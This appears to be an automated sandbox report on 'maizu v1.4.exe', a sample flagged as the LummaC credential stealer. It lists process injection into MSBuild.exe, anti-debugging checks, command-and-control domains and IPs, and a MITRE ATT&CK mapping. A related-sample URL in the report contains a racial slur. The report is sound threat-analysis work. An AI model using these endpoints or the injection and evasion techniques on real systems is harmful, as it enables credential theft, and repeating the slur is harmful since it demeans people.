Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 0_2_00BD0C7E mov ecx, dword ptr fs:[00000030h]	0_2_00BD0C7E
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 0_2_00BC1FE0 mov edi, dword ptr fs:[00000030h]	0_2_00BC1FE0

Source: C:\Users\user\Desktop\maizu v1.4.exe

Code function: 0_2_00BDC99D GetProcessHeap,

0_2_00BDC99D

Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 0_2_00BC7360 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00BC7360
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 0_2_00BC7672 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00BC7672
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 0_2_00BC77FF SetUnhandledExceptionFilter,	0_2_00BC77FF
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 0_2_00BCD7C3 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00BCD7C3

HIPS / PFW / Operating System Protection Evasion

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\maizu v1.4.exe

Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 protect: page execute and read and write

Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\maizu v1.4.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 value starts with: 4D5A

Jump to behavior

LummaC encrypted strings found

Source: maizu v1.4.exe	String found in binary or memory: invinjurhey.sbs
Source: maizu v1.4.exe	String found in binary or memory: wickedneatr.sbs
Source: maizu v1.4.exe	String found in binary or memory: exilepolsiy.sbs
Source: maizu v1.4.exe	String found in binary or memory: laddyirekyi.sbs
Source: maizu v1.4.exe	String found in binary or memory: exemplarou.sbs
Source: maizu v1.4.exe	String found in binary or memory: bemuzzeki.sbs
Source: maizu v1.4.exe	String found in binary or memory: frizzettei.sbs
Source: maizu v1.4.exe	String found in binary or memory: isoplethui.sbs
Source: maizu v1.4.exe	String found in binary or memory: bleedminejw.buzz

Writes to foreign memory regions

Source: C:\Users\user\Desktop\maizu v1.4.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\maizu v1.4.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 401000	Jump to behavior
Source: C:\Users\user\Desktop\maizu v1.4.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 44C000	Jump to behavior
Source: C:\Users\user\Desktop\maizu v1.4.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 44F000	Jump to behavior
Source: C:\Users\user\Desktop\maizu v1.4.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 45F000	Jump to behavior
Source: C:\Users\user\Desktop\maizu v1.4.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 657008	Jump to behavior

Source: C:\Users\user\Desktop\maizu v1.4.exe

Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"

Jump to behavior

Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: EnumSystemLocalesW,	0_2_00BDC0C4
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: EnumSystemLocalesW,	0_2_00BDC079
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	0_2_00BDC1EA
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: EnumSystemLocalesW,	0_2_00BDC15F
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: GetLocaleInfoW,	0_2_00BDC43D
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	0_2_00BDC566
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: GetLocaleInfoW,	0_2_00BDC66C
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	0_2_00BDC73B
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: EnumSystemLocalesW,	0_2_00BD5ACF
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: GetACP,IsValidCodePage,GetLocaleInfoW,	0_2_00BDBDD7
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: GetLocaleInfoW,	0_2_00BD5F79

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\maizu v1.4.exe

Code function: 0_2_00BC7565 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00BC7565

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: Amcache.hve.7.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.7.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.7.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.7.dr	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match

File source: decrypted.memstr, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match

File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	311 Process Injection	2 Virtualization/Sandbox Evasion	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	1 DLL Side-Loading	311 Process Injection	LSASS Memory	41 Security Software Discovery	Remote Desktop Protocol	2 Clipboard Data	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	Logon Script (Windows)	11 Deobfuscate/Decode Files or Information	Security Account Manager	2 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	113 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	3 Obfuscated Files or Information	NTDS	1 File and Directory Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Software Packing	LSA Secrets	33 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
maizu v1.4.exe	67%	ReversingLabs	Win32.Spyware.Lummastealer
maizu v1.4.exe	44%	Virustotal		Browse
maizu v1.4.exe	100%	Joe Sandbox ML

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
frizzettei.sbs	0%	Virustotal	Browse
s-part-0017.t-0009.t-msedge.net	0%	Virustotal	Browse
fp2e7a.wpc.phicdn.net	0%	Virustotal	Browse
bleedminejw.buzz	0%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
http://upx.sf.net	0%	URL Reputation	safe
https://bleedminejw.buzz/api	0%	Virustotal		Browse
https://frizzettei.sbs/n	1%	Virustotal		Browse
bemuzzeki.sbs	0%	Virustotal		Browse
frizzettei.sbs	0%	Virustotal		Browse
invinjurhey.sbs	0%	Virustotal		Browse
exilepolsiy.sbs	0%	Virustotal		Browse
exemplarou.sbs	6%	Virustotal		Browse
laddyirekyi.sbs	0%	Virustotal		Browse
https://frizzettei.sbs/api	1%	Virustotal		Browse
isoplethui.sbs	0%	Virustotal		Browse
wickedneatr.sbs	0%	Virustotal		Browse
https://frizzettei.sbs/	0%	Virustotal		Browse
bleedminejw.buzz	0%	Virustotal		Browse
https://www.cloudflare.com/5xx-error-landing	0%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
frizzettei.sbs	188.114.97.3	true	true	0%, Virustotal, Browse	unknown
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	0%, Virustotal, Browse	unknown
fp2e7a.wpc.phicdn.net	192.229.221.95	true	false	0%, Virustotal, Browse	unknown
bleedminejw.buzz	104.21.17.192	true	true	0%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
frizzettei.sbs	true	0%, Virustotal, Browse	unknown
https://bleedminejw.buzz/api	true	0%, Virustotal, Browse	unknown
bemuzzeki.sbs	true	0%, Virustotal, Browse	unknown
invinjurhey.sbs	true	0%, Virustotal, Browse	unknown
exilepolsiy.sbs	true	0%, Virustotal, Browse	unknown
exemplarou.sbs	true	6%, Virustotal, Browse	unknown
laddyirekyi.sbs	true	0%, Virustotal, Browse	unknown
https://frizzettei.sbs/api	true	1%, Virustotal, Browse	unknown
wickedneatr.sbs	true	0%, Virustotal, Browse	unknown
isoplethui.sbs	true	0%, Virustotal, Browse	unknown
bleedminejw.buzz	true	0%, Virustotal, Browse	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://frizzettei.sbs/n	MSBuild.exe, 00000001.00000002.2311278206.0000000000CAC000.00000004.00000020.00020000.00000000.sdmp	false	1%, Virustotal, Browse	unknown
https://frizzettei.sbs/;	MSBuild.exe, 00000001.00000002.2311278206.0000000000CAC000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://frizzettei.sbs/66	MSBuild.exe, 00000001.00000002.2311278206.0000000000CBD000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://frizzettei.sbs/E	MSBuild.exe, 00000001.00000002.2311278206.0000000000CAC000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://upx.sf.net	Amcache.hve.7.dr	false	URL Reputation: safe	unknown
https://frizzettei.sbs/	MSBuild.exe, 00000001.00000002.2311278206.0000000000CAC000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://www.cloudflare.com/5xx-error-landing	MSBuild.exe, 00000001.00000002.2311278206.0000000000CD2000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.21.17.192	bleedminejw.buzz	United States		13335	CLOUDFLARENETUS	true
188.114.97.3	frizzettei.sbs	European Union		13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1527615
Start date and time:	2024-10-07 06:43:07 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 40s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	17
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	maizu v1.4.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@8/13@2/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 78% Number of executed functions: 20 Number of non-executed functions: 142
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 40.126.32.133, 40.126.32.138, 40.126.32.74, 20.190.160.14, 40.126.32.76, 40.126.32.134, 40.126.32.136, 20.190.160.22, 2.16.100.168, 88.221.110.91, 192.229.221.95, 4.175.87.197, 52.165.164.15, 20.189.173.22, 20.3.187.198, 93.184.221.240
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, otelrules.afd.azureedge.net, onedsblobprdwus17.westus.cloudapp.azure.com, a767.dspw65.akamai.net, wu.azureedge.net, ocsp.digicert.com, login.live.com, ocsp.edge.digicert.com, glb.cws.prod.dcat.dsp.trafficmanager.net, bg.apr-52dd2-0503.edgecastdns.net, cs11.wpc.v0cdn.net, sls.update.microsoft.com, hlb.apr-52dd2-0.edgecastdns.net, wu-b-net.trafficmanager.net, glb.sls.prod.dcat.dsp.trafficmanager.net, prdv4a.aadg.msidentity.com, ctldl.windowsupdate.com.delivery.microsoft.com, otelrules.azureedge.net, wu.ec.azureedge.net, www.tm.v4.a.prd.aadg.trafficmanager.net, ctldl.windowsupdate.com, login.msa.msidentity.com, download.windowsupdate.com.edgesuite.net, fe3cr.delivery.mp.microsoft.com, fe3.delivery.mp.microsoft.com, blobcollector.events.data.trafficmanager.net, azureedge-t-prod.trafficmanager.net, umwatson.events.data.microsoft.com, www.tm.lg.prod.aadmsa.trafficmanager.net
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
00:44:04	API Interceptor	1x Sleep call for process: MSBuild.exe modified
00:44:24	API Interceptor	1x Sleep call for process: WerFault.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.17.192	MobileSeaToolV6.5.exe	Get hash	malicious	Unknown	Browse
188.114.97.3	http://www.thegulfthermale.com.tr/antai/12/3dsec.php	Get hash	malicious	Unknown	Browse	www.thegulfthermale.com.tr/antai/12/3dsec.php
	QUOTATION_OCTQTRA071244PDF.scr.exe	Get hash	malicious	Unknown	Browse	filetransfer.io/data-package/eZFzMENr/download
	QUOTATION_OCTQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/MlZtCPkK/download
	https://technopro-bg.com/redirect.php?action=url&goto=mairie-espondeilhan.com&osCsid=m24rb0l158b8m36rktotvg5ti2	Get hash	malicious	HTMLPhisher	Browse	mairie-espondeilhan.com/
	QUOTATION_SEPQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/758bYd86/download
	QUOTATION_OCTQTRA071244PDF.scr.exe	Get hash	malicious	Unknown	Browse	filetransfer.io/data-package/58PSl7si/download
	QUOTATION_OCTQTRA071244PDF.scr.exe	Get hash	malicious	Unknown	Browse	filetransfer.io/data-package/58PSl7si/download
	payment copy.exe	Get hash	malicious	FormBook	Browse	www.cc101.pro/0r21/
	BX7yRz7XqF.lnk	Get hash	malicious	PureLog Stealer, zgRAT	Browse	cloud.dellicon.top/1000/500/
	jKSjtQ8W7O.lnk	Get hash	malicious	PureLog Stealer, zgRAT	Browse	ministryofficedownloadcloudserver.screenpont.xyz/78/CKP/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
s-part-0017.t-0009.t-msedge.net	cea5c9ffbf7c8ae9cf3f22399151956f3ee7145b95978.exe	Get hash	malicious	Unknown	Browse	13.107.246.45
	TVyKPaL2h0.exe	Get hash	malicious	Amadey	Browse	13.107.246.45
	gpfSnYlScw.exe	Get hash	malicious	Vidar	Browse	13.107.246.45
	http://ser0xen.com/sucklemydicknigger.exe	Get hash	malicious	XWorm	Browse	13.107.246.45
	file.exe	Get hash	malicious	Vidar	Browse	13.107.246.45
	file.exe	Get hash	malicious	Vidar	Browse	13.107.246.45
	zncaKWwEdq.exe	Get hash	malicious	Vidar	Browse	13.107.246.45
	http://chiso.dev/	Get hash	malicious	Unknown	Browse	13.107.246.45
	http://buddycities.com/	Get hash	malicious	Unknown	Browse	13.107.246.45
	http://buckboosters.com/	Get hash	malicious	Unknown	Browse	13.107.246.45
fp2e7a.wpc.phicdn.net	cea5c9ffbf7c8ae9cf3f22399151956f3ee7145b95978.exe	Get hash	malicious	Unknown	Browse	192.229.221.95
	MPil9jkBPG.exe	Get hash	malicious	Vidar	Browse	192.229.221.95
	fe6yqly1Xh.exe	Get hash	malicious	Stealc, Vidar	Browse	192.229.221.95
	http://ser0xen.com/sucklemydicknigger.exe	Get hash	malicious	XWorm	Browse	192.229.221.95
	file.exe	Get hash	malicious	Vidar	Browse	192.229.221.95
	file.exe	Get hash	malicious	Vidar	Browse	192.229.221.95
	file.exe	Get hash	malicious	Stealc	Browse	192.229.221.95
	CR0QGWXdDl.exe	Get hash	malicious	Stealc, Vidar	Browse	192.229.221.95
	https://maxask.com	Get hash	malicious	Unknown	Browse	192.229.221.95
	SecuriteInfo.com.Trojan.DownLoader47.42925.26493.18247.exe	Get hash	malicious	Amadey	Browse	192.229.221.95

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	VX7fQ2wEzC.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	172.67.206.204
	p7SnjaA8NN.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc, Vidar	Browse	172.67.206.204
	file.exe	Get hash	malicious	LummaC	Browse	172.67.206.204
	https://shorturl.at/5LwA8	Get hash	malicious	Unknown	Browse	172.67.69.88
	8ObkdHP9Hq.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc	Browse	104.21.53.8
	https://maxask.com	Get hash	malicious	Unknown	Browse	172.66.0.227
	https://email.m.teachable.com/c/eJwszz3O6yAQheHV4NJiZjA_BcVtso1owOMYyZjIkLv-T47Sn0d6zxqTFQ6TRHC4aDLgaJLK5XhekqW8x7OsUSGCDcHRQggKcdpjELZb4ORzSAyrwUzJbgHE28XoDacSUaPRnjRYHQhm9M4s2iP7ZLOWpIyu8xDOO6dD5tzqdMR9jHdX9E_hQ-GjfoYc5dzaVXmUdvZyueW7rNI7v-QXR0QLenuXXbHz2j7nnMrJZxbUCMro133pK3veWzt-EMEZsO6G_yP-BQAA__8EPU-T	Get hash	malicious	Unknown	Browse	188.114.97.3
	MSCy5UvBYg.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	172.67.206.204
	file.exe	Get hash	malicious	LummaC	Browse	104.21.53.8
CLOUDFLARENETUS	VX7fQ2wEzC.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	172.67.206.204
	p7SnjaA8NN.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc, Vidar	Browse	172.67.206.204
	file.exe	Get hash	malicious	LummaC	Browse	172.67.206.204
	https://shorturl.at/5LwA8	Get hash	malicious	Unknown	Browse	172.67.69.88
	8ObkdHP9Hq.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc	Browse	104.21.53.8
	https://maxask.com	Get hash	malicious	Unknown	Browse	172.66.0.227
	https://email.m.teachable.com/c/eJwszz3O6yAQheHV4NJiZjA_BcVtso1owOMYyZjIkLv-T47Sn0d6zxqTFQ6TRHC4aDLgaJLK5XhekqW8x7OsUSGCDcHRQggKcdpjELZb4ORzSAyrwUzJbgHE28XoDacSUaPRnjRYHQhm9M4s2iP7ZLOWpIyu8xDOO6dD5tzqdMR9jHdX9E_hQ-GjfoYc5dzaVXmUdvZyueW7rNI7v-QXR0QLenuXXbHz2j7nnMrJZxbUCMro133pK3veWzt-EMEZsO6G_yP-BQAA__8EPU-T	Get hash	malicious	Unknown	Browse	188.114.97.3
	MSCy5UvBYg.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	172.67.206.204
	file.exe	Get hash	malicious	LummaC	Browse	104.21.53.8

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
1138de370e523e824bbca92d049a3777	p7SnjaA8NN.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc, Vidar	Browse	23.1.237.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	23.1.237.91
	file.exe	Get hash	malicious	Vidar	Browse	23.1.237.91
	file.exe	Get hash	malicious	Stealc	Browse	23.1.237.91
	SecuriteInfo.com.Trojan.DownLoader47.42925.26493.18247.exe	Get hash	malicious	Amadey	Browse	23.1.237.91
	Camtech_Korea_Invoice_2024.html	Get hash	malicious	HTMLPhisher	Browse	23.1.237.91
	zncaKWwEdq.exe	Get hash	malicious	Vidar	Browse	23.1.237.91
	http://buddycities.com/	Get hash	malicious	Unknown	Browse	23.1.237.91
	http://vpnpanda.org/	Get hash	malicious	Unknown	Browse	23.1.237.91
	http://revsolsavenue.pages.dev/	Get hash	malicious	HTMLPhisher	Browse	23.1.237.91
28a2c9bd18a11de089ef85a160da29e4	cea5c9ffbf7c8ae9cf3f22399151956f3ee7145b95978.exe	Get hash	malicious	Unknown	Browse	13.107.246.45
	file.exe	Get hash	malicious	Credential Flusher	Browse	13.107.246.45
	p7SnjaA8NN.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc, Vidar	Browse	13.107.246.45
	TVyKPaL2h0.exe	Get hash	malicious	Amadey	Browse	13.107.246.45
	MPil9jkBPG.exe	Get hash	malicious	Vidar	Browse	13.107.246.45
	gpfSnYlScw.exe	Get hash	malicious	Vidar	Browse	13.107.246.45
	fe6yqly1Xh.exe	Get hash	malicious	Stealc, Vidar	Browse	13.107.246.45
	https://shorturl.at/5LwA8	Get hash	malicious	Unknown	Browse	13.107.246.45
	file.exe	Get hash	malicious	Credential Flusher	Browse	13.107.246.45
	8ObkdHP9Hq.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc	Browse	13.107.246.45
a0e9f5d64349fb13191bc781f81f42e1	setupa.exe	Get hash	malicious	GhostRat	Browse	188.114.97.3 104.21.17.192
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3 104.21.17.192
	p7SnjaA8NN.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc, Vidar	Browse	188.114.97.3 104.21.17.192
	TVyKPaL2h0.exe	Get hash	malicious	Amadey	Browse	188.114.97.3 104.21.17.192
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3 104.21.17.192
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3 104.21.17.192
	8ObkdHP9Hq.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc	Browse	188.114.97.3 104.21.17.192
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3 104.21.17.192
	MSCy5UvBYg.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	188.114.97.3 104.21.17.192
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3 104.21.17.192

Dropped Files

⊘No context

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_MSBuild.exe_47f04a05abbe4c2ca5f29d3456dbda14113214_2f54229f_fa95258a-bd68-4603-8fb9-ca8424109259\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.0231096880583177
Encrypted:	false
SSDEEP:	192:27AcOXOfQ0eaD9jem+NzuiFaZ24IO8q4g:agefreaD9jszuiFaY4IO8q4
MD5:	E2CDB8B6793B3856593EFA4174611808
SHA1:	B3085D987F81F91F24AD0B99951C71C16B7789BF
SHA-256:	780B5F9741B6679B684043EE87436F80783283892214FCD31745F28D07C4ED9C
SHA-512:	E3E77F2F6C744C0B96807D157182BB5335167EE4029181D127D8F5E7C06591102C94DF1B2CF191422F1600FC8D32F1013263F98D72B15DAB29E930B79DF4D07B
Malicious:	false
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.2.7.4.9.8.5.0.1.9.2.3.5.8.5.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.2.7.4.9.8.5.0.6.1.4.2.3.5.0.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.f.a.9.5.2.5.8.a.-.b.d.6.8.-.4.6.0.3.-.8.f.b.9.-.c.a.8.4.2.4.1.0.9.2.5.9.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.6.9.9.8.b.6.c.e.-.c.b.b.f.-.4.9.b.e.-.a.d.5.2.-.b.e.7.1.f.a.c.2.e.4.b.7.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.M.S.B.u.i.l.d...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.M.S.B.u.i.l.d...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.6.c.8.-.0.0.0.1.-.0.0.1.4.-.0.1.b.0.-.c.e.8.7.7.3.1.8.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.f.5.1.9.f.e.e.c.4.8.6.d.e.8.7.e.d.7.3.c.b.9.2.d.3.c.a.c.8.0.2.4.0.0.0.0.0.0.0.0.!.0.0.0.0.e.6.2.5.6.a.0.1.5.9.6.8.8.f.0.5.6.0.b.0.1.5.d.a.4.d.9.6.7.f.4.1.c.b.f.8.c.9.b.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_MSBuild.exe_c365489cdde0dec8a471982681e3951dad25868_2f54229f_7f47af1e-2856-4a8f-9b0f-521cc1b701db\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.0168728327603522
Encrypted:	false
SSDEEP:	192:oAcOXOfT0FxNJMjem+NzuiF1Z24IO8f4gL:ogefAFxNJMjszuiF1Y4IO8f4
MD5:	7E45ADEAF469E98F963CEEA44BE72794
SHA1:	8914D9441C67F1AD0A476887384471288E65F628
SHA-256:	0CB081413175787CAE22FF1545202673525D36F63A7282CF66EBEC19B3784F8C
SHA-512:	2BBE2C71D3D84CB4E883D5EA8167926180A1C53B555D2751017BEA48206ACDE3AADBAAC8413FADA646D09DD1894C9B56731DAB5B1E7535CFB821FD5727AE78C4
Malicious:	false
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.2.7.4.9.8.4.9.5.1.2.7.0.3.1.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.7.f.4.7.a.f.1.e.-.2.8.5.6.-.4.a.8.f.-.9.b.0.f.-.5.2.1.c.c.1.b.7.0.1.d.b.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.2.c.4.5.6.0.8.9.-.7.5.4.3.-.4.2.5.2.-.8.e.4.c.-.6.b.f.6.0.8.2.b.8.b.6.b.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.M.S.B.u.i.l.d...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.M.S.B.u.i.l.d...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.6.c.8.-.0.0.0.1.-.0.0.1.4.-.0.1.b.0.-.c.e.8.7.7.3.1.8.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.f.5.1.9.f.e.e.c.4.8.6.d.e.8.7.e.d.7.3.c.b.9.2.d.3.c.a.c.8.0.2.4.0.0.0.0.0.0.0.0.!.0.0.0.0.e.6.2.5.6.a.0.1.5.9.6.8.8.f.0.5.6.0.b.0.1.5.d.a.4.d.9.6.7.f.4.1.c.b.